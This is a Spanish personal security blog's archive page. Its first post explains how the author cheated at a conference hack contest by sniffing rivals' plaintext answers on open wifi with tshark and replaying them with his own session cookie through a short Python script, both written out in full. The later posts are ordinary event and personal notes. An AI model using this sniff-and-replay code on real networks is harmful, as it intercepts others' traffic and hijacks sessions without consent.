February 27, 2011 at 7:34 pm
· 633 words (3772 chars) filed under ego, geek, procrastination, python, security
Hace unas horas acabo de volver de A Coruña, donde pasé unos excelentes días entre charlas y talleres de excelente nivel técnico y amigos en las Jornadas de Seguridad Informáticas organizadas por GSIC.
Pero este post tiene otro objetivo que contar lo lindo que fue. Así que si esperabas algo blando, puedes dejar de leer acá :P (las fotos estarán online en breve). Lo que sigue es la respuesta larga a la pregunta que me realizaron varias veces en los últimos días: ¿Estas jugando al h4ckc0nt3st?. La respuesta corta era sí, lo estoy haciendo en este exacto momento, aunque no de la forma tradicional.
El contexto
Durante la conferencia, Miguel organizó un muy divertido hack contest. El objetivo era llegar a una respuesta a través de la resolución de diferentes desafíos. Dicha respuesta se metía en un formulario web (que escuchaba en http://10.20.63.1:666) y de esta forma se acumulaban puntos.
El hack
Dado que la red sobre la que se hacía el concurso era una wifi abierta y que el servidor recibía las respuestas de los participantes en texto plano (no usaba SSL), pensé que sería divertido escuchar las respuestas de los demás concursantes. El paso siguiente de enviar dichas respuestas a mi nombre resultó inevitable. De esta forma, cada vez que alguien enviaba una posible respuesta a un desafío, yo también respondía lo mismo. Logré automatizar ello con las siguientes líneas:
tshark -T fields -e data -i mon0 -R 'ip.dst == 10.20.63.1 and tcp.dstport == 666 and ip.src != mi.propia.ip ' | ./loro.py
Donde loro.py este archivo:
#!/usr/bin/python
import sys
import binascii
import socket
for line in sys.stdin:
todecode=line.strip()
decode=binascii.a2b_hex(todecode)
if 'acceder' in decode or 'enviar' in decode :
datas=decode.split('\n')
if 'desafio' in datas[0]:
for i,j in enumerate(datas):
if 'Cookie' in j: datas[i]='Cookie: HCWSSESSID="your cookie goes here"'
tosend='\n'.join(datas)
sys.stderr.write(tosend)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.20.63.1', 666))
s.send(tosend)
s.close()
print '-'*30
La explicación
Tshark es la versión de consola de wireshark. Este toma los paquetes de una interfaz en modo monitor (lee esto para aprender cómo). El modificador -f es el encargado de darme solo aquellos paquetes que vayan al servidor. Excluir del filtro a mi propia IP evita que el sniffer vea mis replayes y entre en loop (tardé en darme cuenta de esto, perdona Miguel por floodear tus logs). El script loro.py recibe el campo data de los por stdin (línea (#) 5), lo decodifica en ascii (#7), y chequea si es una respuesta (#8). Después lo divide y busca la cookie (# 9 a 11). Al encontrarla, la reemplaza por mi propia cookie (#12, fue una suerte práctica que no caducara). Luego vuelve a juntar todo (#13), lo imprime en stderr (#14, con fines de logging, nada más) y lo envía de nuevo al server (# 15 a 18).
Como dicen por acá, ¡a que mola!
Permalink
January 30, 2011 at 11:07 pm
· 426 words (2646 chars) filed under academy, crypto, ego, journeys & traveling, lectures & talks, life, security
Gracias los grandes esfuerzos de Diego el gallego y Chema josemaricariño visitaré España en algo menos de un mes. Las excusas son las jornadas de seguridad organizadas por GSIC y los labs de la RootedCon. Así que vamos por partes.
Qué: Daré un taller sobre seguridad en sistemas Linux
Dónde: En el Campus de Elviña de la Facultad de Informática de A Coruña.
Cuándo: Las jornadas son entre el 24 y el 26 de Febrero.
Qué hay que hacer para asistir: La asistencia es gratuita con previa inscripción, la cual aún no está abierta pero lo estará pronto (posiblemente sea anunciado en @ficsecurity). Hay unas 25 plazas disponibles.
El taller será netamente práctico y será de unas 5 horas, por lo que tengo entendido. Trataremos temas de seguridad básica, como el acceso discrecional, la administración de recursos y PAM. Está orientado a iniciados en la administración de sistemas Linux-like.

Qué: Haré una introducción a la criptografía en uno de los Labs, previos a RootedCon
Dónde: En las Instalaciones Madrid On Rails, en Madrid.
Cuándo: Los Labs son entre 28 de Febrero y el 2 de Marzo. El mío en particular será durante el 1º.
Qué hay que hacer para asistir: La asistencia requiere inscripción previa y tienen un coste de 200 € + IVA. Hay 12 plazas disponibles.
Se puede acceder al temario aquí, aunque puede que dé una incorrecta impresión. En el momento que lo escribí hice demasiado foco en la parte matemática (aburrido!!). Si bien aún lo estoy preparando, el cursillo tendrá un foco mucho más programático. El objetivo es la mejora de decisiones tecnológicas cuando impliquen criptografía. Haremos prácticas en OpenSSL, SSH y PGP.
¿Nos vemos allí?
Permalink
April 17, 2009 at 11:22 am
· 139 words (779 chars) filed under blogging, debian, ego, life, planeta
(Sé que estoy escribiendo poco, y sé que con cuestionable calidad. Esta entrada no será la excepción)
Circo Linux, un simpático blog/e-zine, me ha realizado una extensa entrevista que puede leerse aquí. Los temas que tratamos han sido de lo más variado, desde Debian hasta mi afición al go. Fue una charla amena.
Tengo varias ideas en la cabeza que merecen ser posteadas, pero poco tiempo para plasmarlas. Trataré de cambiar dicha situación en el corto plazo y levantar este blog a lo que solía ser: un lugar divertido donde perder el tiempo.
Permalink
April 28, 2008 at 9:03 am
· 70 words (502 chars) filed under dark side, debian, ego, security
Permalink
February 18, 2008 at 1:33 am
· 78 words (461 chars) filed under ego, free software
Permalink
October 10, 2007 at 9:53 pm
· 101 words (573 chars) filed under ego, geek
Hay instantes en la vida del geek que lo marcan de para siempre: el primer kernel compilado, el día que entiende que se puede compartir un secreto cuando todos escuchan o, tal vez, cuando se empieza a reír de chistes extraños…
Entre todos estos momentos especiales se encuentra cuando llega un correo del Recruiting Department de Google…
Y este geek se siente feliz :-)
Permalink
October 18, 2006 at 1:21 am
· 183 words (1078 chars) filed under ego, life, wtf?!
Hace unos días Marcela descubre que alguien me llama Flavio Bello. Entre los ponentes del Foro Mundial figuro como Luciano Rodriguez. Y como si ya nada pudiera sorprender, el taxista que me va a buscar al aeropuerto de Caracas realizan una simpática innovación: Lusiano Bellot. Y yo que creía que era un problema exclusivo de los asiáticos y europeos germanos.
A partir de ahora voy a empezar a presentarme como 0x894BB479, a sus ordenes.
Permalink